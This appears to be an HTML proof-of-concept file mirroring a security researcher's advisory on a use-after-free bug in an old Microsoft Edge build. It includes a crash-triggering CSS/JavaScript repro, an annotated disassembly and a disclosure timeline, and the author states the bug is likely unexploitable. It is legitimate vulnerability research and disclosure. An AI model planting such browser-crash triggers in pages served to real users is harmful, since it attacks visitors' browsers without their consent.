<!--
Source: http://blog.skylined.nl/20161115001.html
Synopsis
A specially crafted web-page can cause Microsoft Edge to free memory used for a CAttrArray object. The code continues to use the data in freed memory block immediately after freeing it. It does not appear that there is enough time between the free and reuse to exploit this issue.
Known affected software and attack vectors
Microsoft Edge 11.0.10240.16384
An attacker would need to get a target user to open a specially crafted web-page. JavaScript is not necessarily required to trigger the issue.
Repro
<x style="
background-image: inherit;
text-decoration: line-through;
height: 0;
width: 0;
top: 0;
left: 0;
right: 0;
bottom: 0;
font: menu;">
Alternatively:
<body id=x style=margin:5 onload=x.style.removeProperty("margin")>
Description
When an element is created and style properties are added, these are stored in a CAttrArray object. A new CAttrArray is able to store up to 8 properties. If more properties need to be stored, the code will allocate memory for a larger CAttrArray and copy the existing properties into this new object before freeing the old memory. The code will then continue to use the freed memory almost immediately. In the first repro, the "font" style property is the ninth property and triggers this issue. In the second repro, the only property of a CAttrArray is removed, at which point it is freed but no new object is allocated. However, the code follows the same path and also reuses the freed memory.
Exploit
What little investigation I did appears to indicate that there is no way to reallocate the freed memory before its reuse. It is therefore probably not possible to exploit this issue that way. I did not investigate how the freed memory is used by the code exactly, and I did not look into other methods to exploit the issue. I did create a second repro that triggers the issue "on-demand" from Javascript but, as is to be expected, no Javascript is executed between the free and the re-use.
-->
<x id=x style="background-image: inherit;text-decoration: line-through;height: 0;width: 0;top: 0;left: 0;right: 0;bottom: 0;"><script>
window.onload = function () {
// This PoC attempts to exploit a use-after-free bug in Microsoft Edge
// See http://blog.skylined.nl/20161115001.html for details.
// The CAttrArray is full, adding another style property will cause Edge to
// allocate a larger CAttrArray, copy everything and free the old one.
// The old one then continues to be used almost immediately:
x.style.setProperty("font", "menu");
// This work by SkyLined is licensed under a Creative Commons
// Attribution-Non-Commercial 4.0 International License.
};
</script>
<!--
The code
Below you can find an annotated disassembly for the CAttrArray::Destroy function, which calls CAttrArray::Set (in which the memory is freed) before looping and re-using the memory. This loop shows there is very little time between the two events in which to reallocate the memory and attempt to control its contents. There also does not appear to be much this function can be made to do if the memory could be controlled.
EDGEHTML!CAttrArray::Destroy:
6175024f 8bffmov edi,edi
61750251 55pushebp
61750252 8becmov ebp,esp
61750254 83e4f8and esp,0FFFFFFF8h
61750257 83ec2csub esp,2Ch
6175025a 8b510cmov edx,dword ptr [ecx+0Ch]
6175025d 8bc2mov eax,edx
6175025f 53pushebx
61750260 d1e8shr eax,1
61750262 894c240cmov dword ptr [esp+0Ch],ecx
61750266 56pushesi
61750267 57pushedi
61750268 a801testal,1
6175026a 0f85b56f3600jne EDGEHTML!CAttrArray::Destroy+0x366fd6 (61ab7225)
{
61ab7225 ccint 3
61ab7226 e94590c9ffjmp EDGEHTML!CAttrArray::Destroy+0x21 (61750270)
}
61750270 8b5d08mov ebx,dword ptr [ebp+8]
61750273 8d7c2428lea edi,[esp+28h]
61750277 c1e304shl ebx,4
6175027a 035908add ebx,dword ptr [ecx+8]
6175027d 8bf3mov esi,ebx
6175027f 803b04cmp byte ptr [ebx],4
61750282 a5movsdword ptr es:[edi],dword ptr [esi]
61750283 a5movsdword ptr es:[edi],dword ptr [esi]
61750284 a5movsdword ptr es:[edi],dword ptr [esi]
61750285 a5movsdword ptr es:[edi],dword ptr [esi]
61750286 752djne EDGEHTML!CAttrArray::Destroy+0x66 (617502b5)
{
617502b5 8bcbmov ecx,ebx
617502b7 e870e4ffffcallEDGEHTML!CAttrValue::GetDISPID (6174e72c)
617502bc 8b742414mov esi,dword ptr [esp+14h]
617502c0 8bcamov ecx,edx
617502c2 c1e004shl eax,4
617502c5 83e20fand edx,0Fh
617502c8 2bc8sub ecx,eax
617502ca 83e1f0and ecx,0FFFFFFF0h
617502cd 0bcaorecx,edx
617502cf 894e0cmov dword ptr [esi+0Ch],ecx
617502d2 0fb74302movzx eax,word ptr [ebx+2]
617502d6 a808testal,8
617502d8 752cjne EDGEHTML!CAttrArray::Destroy+0xb7 (61750306)
{
617502da 8b560cmov edx,dword ptr [esi+0Ch];<--------------.
617502dd f6c208testdl,8 ;\
617502e0 0f95c1setne cl ;|
617502e3 f6430201testbyte ptr [ebx+2],1 ; REUSE|
617502e7 0f95c0setne al ;|
617502ea 84c8testal,cl;|
617502ec 8bcemov ecx,esi;|
617502ee 7498jeEDGEHTML!CAttrArray::Destroy+0x39 (61750288) ; >----, |
617502f0 b301mov bl,1 ;| |
617502f2 eb96jmp EDGEHTML!CAttrArray::Destroy+0x3b (6175028a) ; >--- | --. |
} ;| | |
61750306 803b09cmp byte ptr [ebx],9 ;| |/|
61750309 74cfjeEDGEHTML!CAttrArray::Destroy+0x8b (617502da) ; >--- | - | --' |
6175030b 8d442418lea eax,[esp+18h];| | |
6175030f 8bcbmov ecx,ebx;| | |
61750311 50pusheax;| | |
61750312 e89efeffffcallEDGEHTML!CAttrValue::GetAsVariantNC (617501b5) ;| | |
61750317 0fb74b02movzx ecx,word ptr [ebx+2] ;| | |
6175031b 81e1efff0000and ecx,0FFEFh ;| | |
61750321 f6430380testbyte ptr [ebx+3],80h ;| | |
61750325 7526jne EDGEHTML!CAttrArray::Destroy+0xfe (6175034d) ;| | |
{ ;| | |
6175034d 33c0xor eax,eax;V V ^
6175034f ebd9jmp EDGEHTML!CAttrArray::Destroy+0xdb (6175032a) ;| | |
} else {;| | |
61750327 8b4304mov eax,dword ptr [ebx+4];| | |
} ;| | |
6175032a 6a01push1;| | |
6175032c 6a01push1;| | |
6175032e 51pushecx;| | |
6175032f 6a09push9;| | |
61750331 8d4c2428lea ecx,[esp+28h];| | |
61750335 51pushecx;| | |
61750336 50pusheax;| | |
61750337 8bcbmov ecx,ebx;| | |
61750339 e8eee3ffffcallEDGEHTML!CAttrValue::GetDISPID (6174e72c);| | |
6175033e 50pusheax;| | |
6175033f 8d44242flea eax,[esp+2Fh];| | |
61750343 8bcemov ecx,esi;| | |
61750345 50pusheax;| | |
61750346 e8258a0800callEDGEHTML!CAttrArray::Set (617d8d70); FREE | | /
6175034b eb8djmp EDGEHTML!CAttrArray::Destroy+0x8b (617502da) ; >--- | - | ---'
} ;| |
61750288 33dbxor ebx,ebx;<-----' |
6175028a d1eashr edx,1;<---------'
6175028c f6c201testdl,1
6175028f 0f85966f3600jne EDGEHTML!CAttrArray::Destroy+0x366fdc (61ab722b)
{
61ab722b ccint 3
61ab722c e96490c9ffjmp EDGEHTML!CAttrArray::Destroy+0x46 (61750295)
}
61750295 ff7508pushdword ptr [ebp+8]
61750298 6a10push10h
6175029a e8b1e01400callEDGEHTML!CImplAry::Delete (6189e350)
6175029f 8d4c2428lea ecx,[esp+28h]
617502a3 e8ae000000callEDGEHTML!CAttrValue::Free (61750356)
617502a8 84dbtestbl,bl
617502aa 7548jne EDGEHTML!CAttrArray::Destroy+0xa5 (617502f4)
{
617502f4 8b4c2414mov ecx,dword ptr [esp+14h]
617502f8 6a03push3
617502fa 68eb030180push800103EBh
617502ff e8ac3e0c00callEDGEHTML!CAttrArray::DeleteAttribute (618141b0)
61750304 eba6jmp EDGEHTML!CAttrArray::Destroy+0x5d (617502ac)
}
617502ac 5fpop edi
617502ad 5epop esi
617502ae 5bpop ebx
617502af 8be5mov esp,ebp
617502b1 5dpop ebp
617502b2 c20400ret 4
Time-line
September 2015: This vulnerability was found through fuzzing.
September 2015: This vulnerability was submitted to ZDI.
September 2015: This vulnerability was rejected by ZDI.
November 2016: The issue no longer reproduces in Microsoft Edge.
November 2016: Details of this issue are released.
-->